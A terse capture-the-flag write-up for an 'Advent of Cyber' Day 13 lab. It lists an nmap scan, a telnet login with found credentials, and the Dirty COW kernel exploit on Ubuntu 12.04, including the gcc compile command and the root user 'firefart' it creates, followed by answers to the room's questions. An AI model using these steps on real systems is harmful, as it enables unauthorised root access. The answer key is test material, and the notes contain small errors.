Aoc Day13

’’’’ nmap 22 23 111 ‘’’’

login telnet
santa:clauschritmas

Ubuntu old version 12.04 have a keranl exploit

import dirty.c using python http.server

compile gcc -pthread dirty.c -o dirty -lcrypt  {got from source code from dirtycow}
and run ./dirty.c

created a new user with root privelege {firefart}
''''

# TASK

1. No answer needed

2. What old, deprecated protocol and service is runing?

Telnet

3. What credentials was left for you?

clauschristmas

4. What distribution of Linux and version number is this server running?

Ubuntu 12.04

5. Who got here first?

Grinch

6. NO answer

7. What is the verbatim syntax you can use to compile, taken from the real C source code comments?

gcc -pthread dirty.c -o dirty -lcrypt

8. What "new" username was created, with the default operations of the real C source code?

firefart

9. No answer needed

10. What is the MD5 hash output?

8b16f00dd3b51efadb02c1df7f8427cc

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